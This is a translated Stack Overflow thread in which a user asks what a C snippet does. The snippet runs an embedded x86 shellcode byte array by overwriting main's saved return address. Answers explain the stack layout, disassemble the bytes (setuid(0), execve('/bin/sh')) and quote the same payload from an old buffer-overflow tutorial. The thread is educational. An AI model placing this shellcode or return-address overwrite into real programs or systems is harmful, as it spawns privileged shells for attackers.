谁能向我解释这段代码?
Posted
技术标签:
【中文标题】谁能向我解释这段代码?【英文标题】:can anyone explain this code to me? 【发布时间】:2011-02-11 22:44:23 【问题描述】:警告:这是一个漏洞。不要执行此代码。
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
谁能给我一个更好的解释?
【问题讨论】:
我赞同 0xA3 所说的话。这似乎非常可疑。 @Abed,如果您在机器上的某个地方发现了这个,您可能应该仔细检查您是否已被拥有。 thnx Josh,我知道这是一个漏洞,我正在研究一本名为 Grey hat hacking,第 2 版的书,所以别担心,我想成为灰帽子 :) @0xA3 为什么在你这么说之前你不反汇编那个代码。它只是给了一个外壳 【参考方案1】:显然,这段代码试图改变堆栈,以便当main
函数返回时,程序执行不会定期返回到运行时库(这通常会终止程序),而是跳转到保存在shellcode
数组。
1) int *ret;
在堆栈上定义一个变量,就在main
函数的参数下方。
2) ret = (int *)&ret + 2;
让ret
变量指向位于堆栈上ret
上方两个int
s 的int *
。假设这是返回地址所在的位置,当main
返回时程序将继续运行。
2) (*ret) = (int)shellcode;
返回地址设置为shellcode
数组内容的地址,这样main
返回时会执行shellcode
的内容。
shellcode
似乎包含可能执行系统调用以启动/bin/sh
的机器指令。我可能错了,因为我实际上并没有反汇编 shellcode
。
P.S.:此代码依赖于机器和编译器,可能无法在所有平台上运行。
回复您的第二个问题:
如果我使用会发生什么 ret=(int)&ret +2 为什么要加 2? 为什么不是3或4???我认为int 是 4 个字节,所以 2 将是 8 个字节吗?
ret
被声明为int*
,因此将int
(例如(int)&ret
)分配给它会出错。至于为什么添加 2 而不是任何其他数字:显然是因为此代码假定返回地址将位于堆栈上的该位置。考虑以下几点:
此代码假定当有东西被压入时调用堆栈会向下增长(确实如此,例如使用 Intel 处理器)。这就是为什么添加而不是减去的原因:返回地址位于比自动(本地)变量(例如ret
)更高的内存地址。
从我记忆中的英特尔组装时代开始,C 函数通常被这样调用:首先,所有参数都以相反的顺序(从右到左)压入堆栈。然后,调用该函数。因此返回地址被压入堆栈。然后,建立一个新的堆栈帧,其中包括将ebp
寄存器压入堆栈。然后,局部变量被设置在堆栈下面的所有被压入它的东西。
现在我为您的程序假设以下堆栈布局:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
在底部是ret
(它是一个 32 位整数)。上面是保存的ebp
寄存器(也是32 位宽)。上面是 32 位返回地址。 (上面是main
的参数——argc
和argv
——但这些在这里并不重要。)当函数执行时,堆栈指针指向ret
。返回地址位于ret
“上方”的64位,对应于+ 2
中
ret = (int*)&ret + 2;
它是+ 2
,因为ret
是int*
,而int
是32 位的,因此加2 表示将其设置为比(int*)&ret
高2 × 32 位(=64 位)的内存位置...如果上一段中的所有假设都是正确的,这将是返回地址的位置。
Excursion:让我用英特尔汇编语言演示如何调用 C 函数可能(如果我没记错的话——我不是这个主题的专家,所以我可能是错的):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
在 main 内部,可能会发生以下情况:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
另请参阅:procedure call sequence in C 的描述以获取对该主题的另一种解释。
【讨论】:
thnx 伙计,它非常好,当你在 2) 中所说的 int * 被放置时,我得到了一个问题,你的意思是整个语句是 (int *)&ret ????跨度> 如果我使用 ret=(int)&ret +2 会发生什么,为什么我们要加 2?为什么不是3或4???我认为 int 是 4 个字节,所以 2 将是 8 个字节,不是吗? @kmitnick - 你可能还会发现我对另一个问题的回答有助于理解为什么要添加 2 - ***.com/questions/2543725/… thnx stakx,这是一个很好的解释,+一个答案,但最后一件事,因为 ret 是一个指针,如果我们写 ret=&ret + 2 那么我们会得到同样的东西吗?我理解你说的让 ret 指向 ret + 2 的地址,所以 (int *) 后跟一个地址意味着让 ret 指向那个地址还是不指向那个地址?? @kmitnick:不确定我是否正确理解了你的问题。&ret
会将ret
的内存位置作为void*
返回。为了能够将指针“移动”到距ret
地址8 个字节的内存位置,必须将其转换为int*
。然后+2
不会将2
的值添加到ret
,而是2*sizeof(int)
。【参考方案2】:
实际的shellcode是:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
这个大致对应
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
【讨论】:
谢谢克里斯,真的很感激:) 您是否有某种自动化的方式将 shellcode 转换为 ASM 而无需手动查找? 这是通过编译示例生成的,在生成的可执行文件上运行 gdb 并使用x /25i &shellcode
反汇编它【参考方案3】:
该字符串来自缓冲区溢出的旧文档,并将执行 /bin/sh。因为它是恶意代码(好吧,当与缓冲区漏洞结合使用时)——你下次真的应该包括它的来源。
来自同一个文档,how to code stack based exploits:
/* the shellcode is hex for: */
#include <stdio.h>
main()
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
您包含的代码会导致 shellcode[] 的内容被执行,运行 execve,并提供对 shell 的访问。还有Shellcode这个词?来自Wikipedia:
在计算机安全中,shellcode 是 一小段代码用作 有效载荷的利用 软件漏洞。它被称为 “shellcode”,因为它通常 启动一个命令 shell 攻击者可以控制受感染的 机器。 Shellcode通常写成 在机器代码中,但任何一段代码 执行类似任务的可以是 称为shellcode。
【讨论】:
【参考方案4】:无需查找所有实际操作码来确认,shellcode
数组包含执行 /bin/sh
所需的机器码。这个shellcode 是精心构造的机器代码,用于在特定目标平台上执行所需的操作,并且不包含任何null
字节。
main()
中的代码正在更改返回地址和执行流程,以便通过执行 shellcode
数组中的指令来使程序生成 shell。
请参阅Smashing The Stack For Fun And Profit,了解有关如何创建此类 shellcode 以及如何使用它的说明。
【讨论】:
【参考方案5】:字符串包含一系列以十六进制表示的字节。
字节对特定平台上特定处理器的一系列指令进行编码——希望是你的。 (编辑:如果是恶意软件,希望不是你的!)
定义变量只是为了获取堆栈的句柄。一个书签,如果你愿意的话。然后使用指针算法(同样依赖于平台)来操纵程序的状态,以使处理器跳转到并执行字符串中的字节。
【讨论】:
【参考方案6】:每个 \xXX 都是一个十六进制数。一个、两个或三个这样的数字一起形成一个操作码(谷歌)。它一起形成了可以或多或少直接由机器执行的组件。这段代码试图执行shellcode。
我认为 shellcode 试图生成一个 shell。
【讨论】:
【参考方案7】:这只是生成 /bin/sh
,例如在 C 中,例如 execve("/bin/sh", NULL, NULL);
【讨论】:
以上是关于谁能向我解释这段代码?的主要内容,如果未能解决你的问题,请参考以下文章